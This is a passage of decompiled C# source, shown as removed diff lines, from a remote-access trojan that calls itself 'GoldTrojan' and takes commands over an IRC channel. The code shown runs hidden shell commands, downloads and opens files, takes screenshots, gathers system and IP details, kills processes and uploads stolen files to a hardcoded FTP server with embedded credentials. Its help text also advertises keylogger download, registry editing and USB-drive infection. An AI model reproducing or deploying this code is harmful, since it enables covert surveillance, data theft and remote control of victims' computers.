- case 27:
- this.mailWyswietlDrzewo();
- break;
- case 28:
- this.mailZrobSS();
- break;
- case 29:
- this.Logi();
- break;
- case 30:
- this.Aktualizuj();
- break;
- case 31:
- this.Czyszczenie();
- break;
- default:
- this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-");
- break;
- }
- }
-
- [DllImport("winmm.dll")]
- public static extern void mciSendStringA(
- string lpstrCommand,
- string lpstrReturnString,
- int uReturnLength,
- int hwndCallback);
-
- private void OtworzPlik(string sciezka)
- {
- try
- {
- new Process() { StartInfo = { FileName = sciezka } }.Start();
- }
- catch
- {
- }
- }
-
- private void downloader_DownloadedComplete() => this.irc.SendMessage(SendType.Message, "#jaknie5", "pobrano plik");
-
- private void Pobierz()
- {
- string destination = "#jaknie5";
- string message = "nie pobrano pliku";
- FileDownloader fileDownloader = new FileDownloader();
- string kom = this.kom;
- try
- {
- string[] strArray1 = kom.Split(' ');
- string[] strArray2 = kom.Split('"');
- string url = strArray1[2];
- string destFolder = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames;
- fileDownloader.Download(url, destFolder);
- this.downloader_DownloadedComplete();
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void Wysuwanie()
- {
- Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wysunieto");
- }
-
- private void Wsuwanie()
- {
- Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wsunieto");
- }
-
- private void wyswsu()
- {
- string[] strArray = this.kom.Split(' ');
- string str = strArray[1];
- int int32 = Convert.ToInt32(strArray[2]);
- for (int index = 0; index < int32; ++index)
- {
- Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0);
- Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0);
- }
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wysuwanie i wsuwanie");
- }
-
- private void Otworz()
- {
- string destination = "#jaknie5";
- string message1 = "otworzono plik";
- string message2 = "nie otworzono pliku";
- string kom = this.kom;
- try
- {
- kom.Split(' ');
- string[] strArray = kom.Split('"');
- this.OtworzPlik(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]);
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void Wersja()
- {
- string destination = "#jaknie5";
- string message1 = "GoldTrojan wersja " + this.wer;
- string message2 = "Dodano:";
- string message3 = "-możliwość odczytu i edycji rejestru";
- string message4 = "-zmiane tapety wewnatrz programu";
- string message5 = "Poprawiono:";
- string message6 = "-blokowanie programow";
- string message7 = "-zbieranie danych o komputerach";
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- this.irc.SendMessage(SendType.Message, destination, message4);
- this.irc.SendMessage(SendType.Message, destination, message5);
- this.irc.SendMessage(SendType.Message, destination, message6);
- this.irc.SendMessage(SendType.Message, destination, message7);
- }
-
- private void Pomoc()
- {
- string destination = "#jaknie5";
- string message1 = "GoldTrojan wersja " + this.wer;
- string message2 = "Dostępne komendy:";
- string message3 = "-wyjedz - wysuwanie stacji dysków";
- string message4 = "-wjedz - wsunięcie stacji dysków";
- string message5 = "-wyjwje - wsuwanie i wysuwanie stacji dysków";
- string message6 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku";
- string message7 = "-otworz [sciezka] - otworzenie pliku";
- string message8 = "-wersja - podanie wersji GoldTrojana";
- string message9 = "-pomoc - wyświetlenie dostępnych komend";
- string message10 = "-informacje - wyświetlenie informacji o systemie";
- string message11 = "-konsola [komenda] - dostęp do cmd";
- string message12 = "-lista procesow - wyświetlenie listy procesów";
- string message13 = "-zabij [nazwa procesu] - zabicie podanego procesu";
- string message14 = "-zabid [ID procesu] - zabicie podanego procesu";
- string message15 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji";
- string message16 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup";
- string message17 = "-wylacz, wyloguj, wylogowac, restart, hibernacja, pobudka";
- string message18 = "-chat [kanał] [nazwa serwera] [nazwa klienta] - wyswietlenie czatu, -ww - napisz wiadomosc, -chu - schowaj czat, -swi - odbierz wiadomości";
- string message19 = "-zrobssf - zrobienie zrzutu ekranu";
- string message20 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow";
- string message21 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp";
- string message22 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp";
- string message23 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder";
- string message24 = "-sprawdz proces [id] - wyswietla informacje o procesie";
- string message25 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji";
- string message26 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila";
- string message27 = "-mail wyslij [ścieżka] - wysyła plik o podanej ścieżce na maila";
- string message28 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila";
- string message29 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila";
- string message30 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila";
- string message31 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp.";
- string message32 = "-zmien tapete - zmienia tapete, -blokuj - blokowanie programow, -infekuj - infekowanie pendrivów";
- string message33 = "-ustawienia - wypisuje ustawienia GT, -rejestr - odczytuje i zmienia rejestr";
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- this.irc.SendMessage(SendType.Message, destination, message4);
- this.irc.SendMessage(SendType.Message, destination, message5);
- this.irc.SendMessage(SendType.Message, destination, message6);
- this.irc.SendMessage(SendType.Message, destination, message7);
- this.irc.SendMessage(SendType.Message, destination, message8);
- this.irc.SendMessage(SendType.Message, destination, message9);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message10);
- this.irc.SendMessage(SendType.Message, destination, message11);
- this.irc.SendMessage(SendType.Message, destination, message12);
- this.irc.SendMessage(SendType.Message, destination, message13);
- this.irc.SendMessage(SendType.Message, destination, message14);
- this.irc.SendMessage(SendType.Message, destination, message15);
- this.irc.SendMessage(SendType.Message, destination, message16);
- this.irc.SendMessage(SendType.Message, destination, message17);
- this.irc.SendMessage(SendType.Message, destination, message18);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message19);
- this.irc.SendMessage(SendType.Message, destination, message20);
- this.irc.SendMessage(SendType.Message, destination, message21);
- this.irc.SendMessage(SendType.Message, destination, message22);
- this.irc.SendMessage(SendType.Message, destination, message23);
- this.irc.SendMessage(SendType.Message, destination, message24);
- this.irc.SendMessage(SendType.Message, destination, message25);
- this.irc.SendMessage(SendType.Message, destination, message26);
- this.irc.SendMessage(SendType.Message, destination, message27);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message28);
- this.irc.SendMessage(SendType.Message, destination, message29);
- this.irc.SendMessage(SendType.Message, destination, message30);
- this.irc.SendMessage(SendType.Message, destination, message31);
- this.irc.SendMessage(SendType.Message, destination, message32);
- this.irc.SendMessage(SendType.Message, destination, message33);
- }
-
- private void PomocVoice()
- {
- string destination = "#jaknie5";
- string message1 = "GoldTrojan wersja " + this.wer;
- string message2 = "Dostępne komendy:";
- string message3 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku";
- string message4 = "-otworz [sciezka] - otworzenie pliku";
- string message5 = "-wersja - podanie wersji GoldTrojana";
- string message6 = "-pomoc - wyświetlenie dostępnych komend";
- string message7 = "-informacje - wyświetlenie informacji o systemie";
- string message8 = "-konsola [komenda] - dostęp do cmd";
- string message9 = "-lista procesow - wyświetlenie listy procesów";
- string message10 = "-zabid [ID procesu] - zabicie podanego procesu";
- string message11 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji";
- string message12 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup";
- string message13 = "-zrobssf - zrobienie zrzutu ekranu";
- string message14 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow";
- string message15 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp";
- string message16 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp";
- string message17 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder";
- string message18 = "-sprawdz proces [id] - wyswietla informacje o procesie";
- string message19 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji";
- string message20 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila";
- string message21 = "-mail wyslij [ścieżka] - wysyła plik o podanej ścieżce na maila";
- string message22 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila";
- string message23 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila";
- string message24 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila";
- string message25 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp.";
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- this.irc.SendMessage(SendType.Message, destination, message4);
- this.irc.SendMessage(SendType.Message, destination, message5);
- this.irc.SendMessage(SendType.Message, destination, message6);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message7);
- this.irc.SendMessage(SendType.Message, destination, message8);
- this.irc.SendMessage(SendType.Message, destination, message9);
- this.irc.SendMessage(SendType.Message, destination, message10);
- this.irc.SendMessage(SendType.Message, destination, message11);
- this.irc.SendMessage(SendType.Message, destination, message12);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message13);
- this.irc.SendMessage(SendType.Message, destination, message14);
- this.irc.SendMessage(SendType.Message, destination, message15);
- this.irc.SendMessage(SendType.Message, destination, message16);
- this.irc.SendMessage(SendType.Message, destination, message17);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message18);
- this.irc.SendMessage(SendType.Message, destination, message19);
- this.irc.SendMessage(SendType.Message, destination, message20);
- this.irc.SendMessage(SendType.Message, destination, message21);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message22);
- this.irc.SendMessage(SendType.Message, destination, message23);
- this.irc.SendMessage(SendType.Message, destination, message24);
- this.irc.SendMessage(SendType.Message, destination, message25);
- }
-
- private void Informacje()
- {
- string destination = "#jaknie5";
- Environment.GetLogicalDrives();
- string str1 = " ";
- string environmentVariable = Environment.GetEnvironmentVariable("windir");
- string userName = Environment.UserName;
- string str2 = Convert.ToString((object) Environment.OSVersion);
- string machineName = Environment.MachineName;
- string systemDirectory = Environment.SystemDirectory;
- string userDomainName = Environment.UserDomainName;
- string str3 = Convert.ToString((object) Environment.Version);
- string str4 = Convert.ToString(Environment.ProcessorCount);
- string[] logicalDrives = Environment.GetLogicalDrives();
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
- foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
- str1 = str1 + address.ToString() + " ";
- string message1 = "System " + str2;
- string message2 = "Znajduje się w " + environmentVariable;
- string message3 = "Folder system32 jest w " + systemDirectory;
- string message4 = "Wersja systemu " + str3;
- string message5 = "Nazwa maszyny " + machineName;
- string message6 = "Domena " + userDomainName;
- string message7 = "Nazwa użytkownika " + userName;
- string message8 = "Liczba procesorów " + str4;
- string message9 = "Dyski: " + string.Join(", ", logicalDrives);
- string message10 = "Adres IP " + str1;
- string message11 = "Ścieżka do moich dokumentów " + folderPath;
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message4);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- this.irc.SendMessage(SendType.Message, destination, message5);
- this.irc.SendMessage(SendType.Message, destination, message6);
- this.irc.SendMessage(SendType.Message, destination, message7);
- this.irc.SendMessage(SendType.Message, destination, message8);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message9);
- this.irc.SendMessage(SendType.Message, destination, message10);
- this.irc.SendMessage(SendType.Message, destination, message11);
- }
-
- private void Konsola()
- {
- string destination = "#jaknie5";
- string str1 = "wyslano dane z konsoli na ftp";
- string message = "nie wyslano danych z konsoli na ftp";
- string kom = this.kom;
- try
- {
- this.UtworzFolder();
- string str2 = kom.Split('"')[1];
- Process process = new Process();
- process.StartInfo.FileName = "cmd.exe";
- process.StartInfo.RedirectStandardInput = true;
- process.StartInfo.RedirectStandardOutput = true;
- process.StartInfo.CreateNoWindow = true;
- process.StartInfo.UseShellExecute = false;
- process.Start();
- process.StandardInput.WriteLine(str2);
- process.StandardInput.Flush();
- process.StandardInput.Close();
- string end = process.StandardOutput.ReadToEnd();
- string str3 = "k" + Environment.UserName + Convert.ToString(new Random().Next(1, 1000)) + ".txt";
- string str4 = this.folderbs + "\\" + str3;
- StreamWriter streamWriter = new StreamWriter(str4);
- streamWriter.WriteLine(end);
- streamWriter.Close();
- this.wyslaniepliku = true;
- this.Upload(str4);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void Procesy()
- {
- int num1 = 0;
- int num2 = 0;
- string[] strArray1 = new string[50];
- string destination = "#jaknie5";
- foreach (Process process in Process.GetProcesses())
- {
- ++num1;
- string[] strArray2;
- int index;
- string str = (strArray2 = strArray1)[(IntPtr) (index = num2)] + process.ProcessName + " " + (object) process.Id + " ";
- strArray2[index] = str;
- if (num1 > 9)
- {
- ++num2;
- num1 = 0;
- }
- }
- for (int index = 0; index < num2; ++index)
- this.irc.SendMessage(SendType.Message, destination, strArray1[index]);
- }
-
- private void ZabijProces()
- {
- string destination = "#jaknie5";
- string[] strArray = this.kom.Split(' ');
- string str1 = strArray[1];
- string str2 = strArray[2];
- string message1 = "zabito proces";
- string message2 = "nie zabito procesu";
- Process[] processes = Process.GetProcesses();
- try
- {
- foreach (Process process in processes)
- {
- if (process.ProcessName == str2)
- process.Kill();
- }
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void ZabijIDProces()
- {
- string destination = "#jaknie5";
- string[] strArray = this.kom.Split(' ');
- string str = strArray[1];
- int int32 = Convert.ToInt32(strArray[2]);
- string message1 = "zabito proces";
- string message2 = "nie zabito procesu";
- Process[] processes = Process.GetProcesses();
- try
- {
- foreach (Process process in processes)
- {
- if (process.Id == int32)
- process.Kill();
- }
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void Komunikaty()
- {
- int num1 = 0;
- int num2 = 0;
- MessageBoxButtons buttons = MessageBoxButtons.OK;
- MessageBoxIcon icon = MessageBoxIcon.None;
- string destination = "#jaknie5";
- string[] strArray1 = this.kom.Split(' ');
- string str1 = strArray1[2];
- string[] strArray2 = this.kom.Split('"');
- string text = strArray2[1];
- string caption = strArray2[3];
- string message1 = "wyświetlono komunikat";
- string message2 = "błędne dane";
- string message3 = "nie wyświetlono komunikatu";
- string str2 = "ponowignoruj";
- string str3 = "ok";
- string str4 = "okanuluj";
- string str5 = "ponowanuluj";
- string str6 = "taknie";
- string str7 = "taknieanuluj";
- string str8 = "gwiazda";
- string str9 = "blad";
- string str10 = "wykrzyknik";
- string str11 = "reka";
- string str12 = "info";
- string str13 = "brak";
- string str14 = "pytanie";
- string str15 = "stop";
- string str16 = "ostrzezenie";
- if (strArray1[2] == str2)
- num1 = 1;
- if (strArray1[2] == str3)
- num1 = 2;
- if (strArray1[2] == str4)
- num1 = 3;
- if (strArray1[2] == str5)
- num1 = 4;
- if (strArray1[2] == str6)
- num1 = 5;
- if (strArray1[2] == str7)
- num1 = 6;
- switch (num1)
- {
- case 1:
- buttons = MessageBoxButtons.AbortRetryIgnore;
- break;
- case 2:
- buttons = MessageBoxButtons.OK;
- break;
- case 3:
- buttons = MessageBoxButtons.OKCancel;
- break;
- case 4:
- buttons = MessageBoxButtons.RetryCancel;
- break;
- case 5:
- buttons = MessageBoxButtons.YesNo;
- break;
- case 6:
- buttons = MessageBoxButtons.YesNoCancel;
- break;
- default:
- this.irc.SendMessage(SendType.Message, destination, message2);
- break;
- }
- if (strArray1[3] == str8)
- num2 = 1;
- if (strArray1[3] == str9)
- num2 = 2;
- if (strArray1[3] == str10)
- num2 = 3;
- if (strArray1[3] == str11)
- num2 = 4;
- if (strArray1[3] == str12)
- num2 = 5;
- if (strArray1[3] == str13)
- num2 = 6;
- if (strArray1[3] == str14)
- num2 = 7;
- if (strArray1[3] == str15)
- num2 = 8;
- if (strArray1[3] == str16)
- num2 = 9;
- switch (num2)
- {
- case 1:
- icon = MessageBoxIcon.Asterisk;
- break;
- case 2:
- icon = MessageBoxIcon.Hand;
- break;
- case 3:
- icon = MessageBoxIcon.Exclamation;
- break;
- case 4:
- icon = MessageBoxIcon.Hand;
- break;
- case 5:
- icon = MessageBoxIcon.Asterisk;
- break;
- case 6:
- icon = MessageBoxIcon.None;
- break;
- case 7:
- icon = MessageBoxIcon.Question;
- break;
- case 8:
- icon = MessageBoxIcon.Hand;
- break;
- case 9:
- icon = MessageBoxIcon.Exclamation;
- break;
- default:
- this.irc.SendMessage(SendType.Message, destination, message2);
- break;
- }
- try
- {
- int num3 = (int) MessageBox.Show(text, caption, buttons, icon);
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message3);
- }
- }
-
- private void PomocKomunikaty()
- {
- string destination = "#jaknie5";
- string message1 = "Dostępne opcje:";
- string message2 = "Przyciski";
- string message3 = "-ponowignoruj";
- string message4 = "-ok";
- string message5 = "-okanuluj";
- string message6 = "-ponowanuluj";
- string message7 = "-taknie";
- string message8 = "-taknieanuluj";
- string message9 = "Ikony:";
- string message10 = "-gwiazda";
- string message11 = "-blad";
- string message12 = "-wykrzyknik";
- string message13 = "-reka";
- string message14 = "-info";
- string message15 = "-brak";
- string message16 = "-pytanie";
- string message17 = "-stop";
- string message18 = "-ostrzezenie";
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- this.irc.SendMessage(SendType.Message, destination, message4);
- this.irc.SendMessage(SendType.Message, destination, message5);
- this.irc.SendMessage(SendType.Message, destination, message6);
- this.irc.SendMessage(SendType.Message, destination, message7);
- this.irc.SendMessage(SendType.Message, destination, message8);
- this.irc.SendMessage(SendType.Message, destination, message9);
- Thread.Sleep(10000);
- this.irc.SendMessage(SendType.Message, destination, message10);
- this.irc.SendMessage(SendType.Message, destination, message11);
- this.irc.SendMessage(SendType.Message, destination, message12);
- this.irc.SendMessage(SendType.Message, destination, message13);
- this.irc.SendMessage(SendType.Message, destination, message14);
- this.irc.SendMessage(SendType.Message, destination, message15);
- this.irc.SendMessage(SendType.Message, destination, message16);
- this.irc.SendMessage(SendType.Message, destination, message17);
- this.irc.SendMessage(SendType.Message, destination, message18);
- }
-
- [DllImport("user32.dll")]
- public static extern int ExitWindowsEx(int uFlags, int dwReason);
-
- private void wylacz()
- {
- try
- {
- Form1.ExitWindowsEx(1, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono");
- }
- }
-
- private void wyloguj()
- {
- try
- {
- Form1.ExitWindowsEx(0, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano");
- }
- }
-
- private void wyloguj2()
- {
- try
- {
- Form1.ExitWindowsEx(4, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano");
- }
- }
-
- private void restart()
- {
- try
- {
- Form1.ExitWindowsEx(2, 0);
- this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (restart));
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "restart nie powiódł się");
- }
- }
-
- private void hibernacja()
- {
- try
- {
- Application.SetSuspendState(PowerState.Hibernate, true, true);
- this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (hibernacja));
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "hibernacja nie powiodła się");
- }
- }
-
- private void pobudka()
- {
- try
- {
- Application.SetSuspendState(PowerState.Suspend, true, true);
- this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (pobudka));
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "pobudka nie powiodła się");
- }
- }
-
- private void PobierzStartup()
- {
- try
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "Folder Starup znajduje sie w " + Environment.GetFolderPath(Environment.SpecialFolder.Startup));
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie powiodło się");
- }
- }
-
- private void PokazChat()
- {
- this.ch = new Chat();
- string[] strArray = this.kom.Split(' ');
- this.chk = strArray[2];
- string nickser = strArray[3];
- string nickofiary = strArray[4];
- this.ch.Show();
- this.irc.WriteLine("join " + this.chk);
- this.ch.Dane(nickser, nickofiary);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono czat");
- }
-
- private void WyslijWiadomosc()
- {
- try
- {
- this.ch.WyswietlWiadomosc(this.kom.Split('"')[1]);
- this.irc.SendMessage(SendType.Message, this.chk, "wysłano wiadomość");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, this.chk, "nie wysłano wiadomości");
- }
- }
-
- private void OdbierzWiadomosc()
- {
- if (this.ch.txt == null)
- return;
- this.irc.SendMessage(SendType.Message, this.chk, this.ch.txt);
- this.ch.txt = "";
- }
-
- private void SchowajChat()
- {
- try
- {
- this.ch.Hide();
- this.irc.SendMessage(SendType.Message, "#jaknie5", "schowano czat");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie schowano czatu");
- }
- }
-
- private void ftpZrobSS()
- {
- try
- {
- this.UtworzFolder();
- DateTime now = DateTime.Now;
- int hour = now.Hour;
- int minute = now.Minute;
- int second = now.Second;
- string str = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg";
- string filename = this.folderbs + "\\" + str;
- Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
- Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
- bitmap.Save(filename, ImageFormat.Jpeg);
- this.wyslaniepliku = true;
- this.Upload(filename);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str);
- else
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
- }
- }
-
- private void Upload(string filename)
- {
- int num = 0;
- do
- {
- string str1 = "poprostuchlopie.yoyo.pl";
- string userName = "poprostuchlopie.yoyo.pl";
- string password = "tester12";
- FileInfo fileInfo = new FileInfo(filename);
- string str2 = "ftp://" + str1 + "/" + fileInfo.Name;
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + str1 + "/" + fileInfo.Name));
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(userName, password);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- this.wyslaniepliku = true;
- }
- catch (Exception ex)
- {
- this.wyslaniepliku = false;
- }
- Thread.Sleep(2000);
- ++num;
- }
- while (!this.wyslaniepliku && num < 30);
- }
-
- private void SprawdzPliki()
- {
- string destination = "#jaknie5";
- string message1 = "nie wyświetlono plików";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- string message2 = string.Join(", ", Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- }
-
- private void ftpWyswietlPliki()
- {
- string destination = "#jaknie5";
- string str1 = "wyslano drzewo plików na ftp";
- string message = "nie wyslano drzewa plików na ftp";
- string kom = this.kom;
- try
- {
- this.UtworzFolder();
- string[] strArray = kom.Split('"');
- string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
- string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
- string str4 = this.folderbs + "\\" + str3;
- StreamWriter streamWriter = new StreamWriter(str4);
- streamWriter.WriteLine(str2);
- streamWriter.Close();
- this.wyslaniepliku = true;
- this.Upload(str4);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void ftpWyswietlKatalogi()
- {
- string destination = "#jaknie5";
- string str1 = "wyslano drzewo katalogów na ftp";
- string message = "nie wyslano drzewa katalogów na ftp";
- string kom = this.kom;
- try
- {
- this.UtworzFolder();
- string[] strArray = kom.Split('"');
- string str2 = string.Join(Environment.NewLine, Directory.GetDirectories(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
- string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
- string str4 = this.folderbs + "\\" + str3;
- StreamWriter streamWriter = new StreamWriter(str4);
- streamWriter.WriteLine(str2);
- streamWriter.Close();
- this.wyslaniepliku = true;
- this.Upload(str4);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void ftpWyswietlDrzewo()
- {
- string destination = "#jaknie5";
- string str1 = "wyslano drzewo plików i katalogów na ftp";
- string message = "nie wyslano drzewa plików i katalogów na ftp";
- string kom = this.kom;
- try
- {
- this.UtworzFolder();
- string[] strArray = kom.Split('"');
- string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories));
- string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt";
- string str4 = this.folderbs + "\\" + str3;
- StreamWriter streamWriter = new StreamWriter(str4);
- streamWriter.WriteLine(str2);
- streamWriter.Close();
- this.wyslaniepliku = true;
- this.Upload(str4);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void ftpWyslijPliki()
- {
- string destination = "#jaknie5";
- string message1 = "wyslano pliki";
- string message2 = "nie wysłano plików";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- string filename = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1];
- this.wyslaniepliku = true;
- this.Upload(filename);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, message1);
- else
